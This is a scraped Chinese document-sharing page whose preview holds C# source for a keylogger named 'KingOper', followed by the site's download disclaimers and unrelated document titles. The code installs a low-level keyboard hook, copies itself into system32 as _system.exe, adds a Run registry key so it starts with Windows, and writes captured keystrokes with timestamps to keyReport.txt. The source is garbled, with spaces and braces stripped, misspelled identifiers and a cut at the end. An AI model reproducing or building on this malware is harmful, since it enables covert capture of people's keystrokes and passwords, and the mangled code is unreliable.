版权说明:本文档由用户提供并上传,收益归属内容提供方,若内容存在侵权,请进行举报或认领
文档简介
1、HCode=C#/Hook.cs 代码usingSystem;usingSystem.Runtime.InteropServices;usingSystem.Reflection;usingSystem.Windows.Forms;namespaceKingOperpublicenumKeyboardEventsKeyDown=0 x0100,KeyUp=0 x0101,SystemKeyDown=0 x0104,SystemKeyUp=0 x0105StructLayout(LayoutKind.Sequential)publicstructKeyboardHookStructpublici
2、ntvkCode;/表示一个在 1 到 254 间的虚似键盘码publicintscanCode;/表示硬件扫描码publicintflags;publicinttime;publicintdwExtraInfo;publicdelegatevoidKeyboardEventHandler(KeyboardEventskeyEvent,System.Windows.Forms.Keyskey);publicclassHookpubliceventKeyboardEventHandlerKeyboardEvent;publicenumHookTypeWH_JOURNALRECORD=0,WH_J
3、OURNALPLAYBACK=1,WH_KEYBOARD=2,WH_GETMESSAGE=3,WH_CALLWNDPROC=4,WH_CBT=5,WH_SYSMSGFILTER=6,WH_MOUSE=7,WH_HARDWARE=8,WH_DEBUG=9,WH_SHELL=10,WH_FOREGROUNDIDLE=11,WH_CALLWNDPROCRET=12,WH_KEYBOARD_LL=13,WH_MOUSE_LL=14,WH_MSGFILTER=-1,publicdelegateIntPtrHookProc(intcode,intwParam,IntPtrIParam);Dlllmport
4、(User32.dll,CharSet=CharSet.Auto)publicstaticexternIntPtrSetWindowsHookEx(HookTypehookType,HookProchook,IntPtrinstance,intthreadID);DllImport(User32.dll,CharSet=CharSet.Auto)publicstaticexternIntPtrCallNextHookEx(IntPtrhookHandle,intcode,intwParam,IntPtrlParam);DllImport(User32.dll,CharSet=CharSet.A
5、uto)publicstaticexternboolUnhookWindowsHookEx(lntPtrhookHandle);privateIntPtrinstanee;privateIntPtrhookHandle;privateintthreadID;privateHookProchookProcEx;publicHook()this.instanee=Marshal.GetHINSTANCE(Assembly.GetExecutingAssembly().GetModules()0);this.threadID=0;hookHandle=IntPtr.Zero;hookProcEx=n
6、ewHookProc(hookProc);publicboolSetHook()this.hookHandle=SetWindowsHookEx(HookType.WH_KEYBOARD_LL,hookProcEx,this.instance,this.threadlD);return(int)hookHandle!=0);publicIntPtrhookProc(intcode,intwParam,IntPtrlParam)if(code=0)KeyboardEventskEvent=(KeyboardEvents)wParam;if(kEvent!=KeyboardEvents.KeyDo
7、wn&kEvent!=KeyboardEvents.KeyUp&kEvent!=KeyboardEvents.SystemKeyDown&kEvent!=KeyboardEvents.SystemKeyUp)returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam,IParam);KeyboardHookStructMyKey=KeyboardHookStruct();Typet=MyKey.GetType();MyKey(KeyboardHookStruct)Marshal.Ptr
8、ToStructure(IParam,t);KeyskeyData=(Keys)MyKey.vkCode;KeyboardEvent(kEvent,keyData);returnCallNextHookEx(this.hookHandle,(int)HookType.WH_KEYBOARD_LL,wParam,IParam);publicboolUnHook()returnHook.UnhookWindowsHookEx(this.hookHandle);/RegistryReport.cs 代码usingSystem;usingSystem.IO;usingMicrosoft.Win32;u
9、singSystem.Windows.Forms;namespaceKingOperpublicclassRegistryReportpublicRegistryReport()publicvoidMoveFile()if(!File.Exists(c:windowsWsystem32W_system.exe)File.Move(Application.ExecutablePath,c:windowsWsystem32W_system.exe);elsereturn;publicvoidregistryRun()newRegistryKeykey 仁 Registry.CurrentUser.
10、CreateSubKey(SofwareMicrosoftWindowsWCurrentVersionrun);key1.SetValue(,c:windowsWsystem32W_system.exe);key1.Close();/Report.cs 代码usingSystem;usingSystem.IO;namespaceKingOperpublicclassReportpublicReport()+DateTime.Today.Month.ToString()+.+DateTime.Today.Day.ToString()+DateTime.Now.Hour.ToString()+:+
11、DateTime.Now.Minute.ToString()+:+DateTime.Now.Second.ToString()+*);sw.Close();publicvoidWriteDate(stringkeyEvents,stringkeyDate)tryStreamWritersw=newStreamWriter(c:/keyReport.txt,true);sw.WriteLine(keyDate+键”+keyEvents+DateTime.Now.Hour.ToString()+:+DateTime.Now.Minute.ToString()+:+DateTime.Now.Seco
12、nd.ToString();sw.Close();catchreturn;publicvoidFirstWrite()StreamWriterStreamWriter(c:/windows/system32/keyReport.txt,true);sw.WriteLine(*);sw.WriteLine(*swnewLittleStudioStudio*+DateTime.Today.Year.ToString()+test_Load 调用的实现privateHookMyHook=newHook();privateReportMyReport=newReport();privateRegistryReportMyRegistryReport;privatevoidtest_Load(objectsender,System.EventArgse)MyRegistryReport=newRegistryReport();this.MyRegistryReport.MoveFile();this.MyRegistryReport.registryRun();this.MyReport.FirstWrite();this.MyHook.SetHook();this.MyHook.KeyboardEvent+=newKeyboardEventHan
温馨提示
- 1. 本站所有资源如无特殊说明,都需要本地电脑安装OFFICE2007和PDF阅读器。图纸软件为CAD,CAXA,PROE,UG,SolidWorks等.压缩文件请下载最新的WinRAR软件解压。
- 2. 本站的文档不包含任何第三方提供的附件图纸等,如果需要附件,请联系上传者。文件的所有权益归上传用户所有。
- 3. 本站RAR压缩包中若带图纸,网页内容里面会有图纸预览,若没有图纸预览就没有图纸。
- 4. 未经权益所有人同意不得将文件中的内容挪作商业或盈利用途。
- 5. 人人文库网仅提供信息存储空间,仅对用户上传内容的表现方式做保护处理,对用户上传分享的文档内容本身不做任何修改或编辑,并不能对任何下载内容负责。
- 6. 下载文件中如有侵权或不适当内容,请与我们联系,我们立即纠正。
- 7. 本站不保证下载资源的准确性、安全性和完整性, 同时也不承担用户因使用这些下载资源对自己和他人造成任何形式的伤害或损失。
最新文档
- 2026年建筑项目环境管理合同
- 灯具框架协议
- 2025年商业智能解决方案应用可行性研究报告
- 2025年智能健康监测系统研发项目可行性研究报告
- 2025年粮食仓储智能管理系统项目可行性研究报告
- 油烟大影响协议书
- 浇筑地面合同协议
- 线路检修合同范本
- 燃气买卖协议合同
- 2025年特高压电网改造项目可行性研究报告
- 水电站大坝安全现场检查技术规程 -DL-T 2204
- 国开学习网《园林树木学》形考任务1234答案
- 胶质瘤的围手术期护理
- 数据库应用技术-004-国开机考复习资料
- 手卫生执行率PDCA案例实施分析
- 病理学考试练习题库及答案
- 2025年新高考1卷(新课标Ⅰ卷)语文试卷
- 2025-2030中国女鞋行业市场现状供需分析及投资评估规划分析研究报告
- 2025至2030中国物理气相沉积(PVD)设备行业行情监测与发展动向追踪报告
- 2025年中国EP级蓖麻油行业市场前景预测及投资价值评估分析报告
- 散酒采购合同协议
评论
0/150
提交评论